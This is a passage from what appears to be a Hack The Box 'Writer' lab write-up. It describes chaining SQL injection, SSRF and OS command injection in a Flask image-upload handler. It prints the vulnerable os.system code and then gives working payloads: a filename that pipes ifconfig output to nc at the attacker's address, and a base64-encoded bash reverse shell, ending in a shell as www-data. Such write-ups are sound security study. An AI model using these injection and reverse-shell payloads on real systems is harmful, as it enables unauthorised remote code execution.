OS Command Injection
I was able to enumerate the source code of the target web application written in Python through the file read via SQLi.
[...REDACTED...]
if request.method == "post":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except pil.unidentifiedimageerror:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
[...REDACTED...]
The above portion of the source code reveals the way that the web application handles the file upload feature.
- if the http request method is post:
- if the file upload is done via the “image” attribute:
- The uploaded file is retrieved and stored in the “image” variable.
- if the uploaded file has a “.jpg” extension:
- The file is saved in the server’s image directory using the
image.save()
method. - The path to the image is stored in the “image” variable for later use.
- The file is saved in the server’s image directory using the
- If the uploaded file does not have a “.jpg” extension, an error message is displayed to the user.
- if the file upload is done via the “image_url” attribute:
- The value of the “image_url” field is retrieved and stored in the
image_url
variable. - if the
image_url
contains “.jpg”:- The image is downloaded and stored locally using the
urllib.request.urlretrieve()
method. - The downloaded image is then stored in a temporary file and verified using the Python Imaging Library (PIL) via the
Image.open()
andImage.verify()
methods. - If the image file is valid, it is moved to the server’s image directory using the
os.system()
method, and the path to the image is stored in theimage
variable for later use. - If the image file is invalid, it is deleted using the
os.system()
method, and an error message is displayed to the user. - note: This method is vulnerable to OS command injection due to the use of the
os.system()
method.
- The image is downloaded and stored locally using the
- If the
image_url
does not contain “.jpg,” an error message is displayed to the user.
- The value of the “image_url” field is retrieved and stored in the
- The “error” variable is used to store error messages that may occur during image upload.
- The
render_template()
function is used to return an HTML template with the appropriate error message if image upload fails. note: The use of therequest.files[]
method to handle file uploads is safe, while the use of theos.system()
method in theurllib.request.urlretrieve()
method is vulnerable to OS command injection.
- if the file upload is done via the “image” attribute:
Vulnerable
os.system("mv {} {}.jpg".format(local_filename, local_filename))
This line of code is what appears to be vulnerable to OS command injection.
This is due to the value of local_filename
is not sanitized or validated. An attacker could potentially inject a malicious command into the filename, which later would be executed by the os.system()
function. This could allow an attacker to execute arbitrary commands on the server with the privileges of the web application.
For instance, an attacker could submit a malicious URL as the “image_url” parameter, where the URL points to a malicious filename that includes an embedded OS command. When the os.system()
function executes, it would also execute the embedded command, leading to potential remote code execution on the server.
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ touch 'test.jpg; ifconfig | nc 10.10.14.2 2222;'
I will first create a file that has arbitrary OS commands in the filename
- The
test.jpg
part is there to go through the filter as it must have.jpg
string in the filename - The
;
character was used for command termination - Output of the
ifconfig
command will be piped into thenc 10.10.14.2 2222
command - I should be able to receive the output as Kali is hosting a Netcat listener on the port
2222
Clicking into the highlighted area DID NOT invoke the “image_url” parameter as it was buggy.
I had to intercept the POST request and append it manually
While I am a bit suspicious about how the web server is going to handle this data as it contains a bunch of special characters, it should work theradically
It failed. This particular string is caused by the fact that the
.jpg
string was not detected in the data, which is WRONG as shown
The web server was likely unable to handle the whitespaces, resulting not being able to see the .jpg
string
There’s a way around to this.
SSRF
This time, I am uploading the payload through the “image” attribute rather than the vulnerable “image_url” attribute
This is to store the payload in the server side at the
/var/www/writer.htb/writer/static/img
directory
It is now available at the
/var/www/writer.htb/writer/static/img
directory or the /static/image
directory over the web server
Now, I just need to “re-upload” this through the vulnerable “image_url” attribute from the server side
since the
http://localhost/static/img/test.jpg; ifconfig | nc 10.10.14.2 2222;
URL is not going to work, I can opt out to the file protocol to access the payload at file:///var/www/writer.htb/writer/static/img/test.jpg; ifconfig | nc 10.10.14.2 2222;
While both of them are technically SSRF, the file protocol should be able to handle the whitespaces. I think?
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ nnc 2222
listening on [any] 2222 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 50312
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.101 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:8e54 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:8e54 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:8e:54 txqueuelen 1000 (Ethernet)
RX packets 1224372 bytes 207533237 (207.5 MB)
RX errors 0 dropped 139 overruns 0 frame 0
TX packets 1658427 bytes 790204612 (790.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 5084366 bytes 10735480838 (10.7 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5084366 bytes 10735480838 (10.7 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The local Netcat listener received the output of the ifconfig
command executed on the target system.
Code execution is confirmed
Exploitation
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.2/9999 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK
Encoding the reverse shell command above in the base64 format
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ touch 'shell.jpg; echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK | base64 -d | bash;'
Creating a payload for upload
Uploading the payload through the “image” attribute
The uploaded payload is now available in the server-side
“Re-uploading” the payload through the “image_url” attribute from the server-side for code execution
┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 46046
bash: cannot set terminal process group (1013): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data
www-data@writer:/$ hostname
hostname
writer
www-data@writer:/$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.101 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:8e54 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:8e54 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:8e:54 txqueuelen 1000 (Ethernet)
RX packets 1228432 bytes 208067561 (208.0 MB)
RX errors 0 dropped 149 overruns 0 frame 0
TX packets 1663086 bytes 792615656 (792.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 5091197 bytes 10737042737 (10.7 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5091197 bytes 10737042737 (10.7 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the www-data
user via exploiting chain; SQLi-SSRF-RCE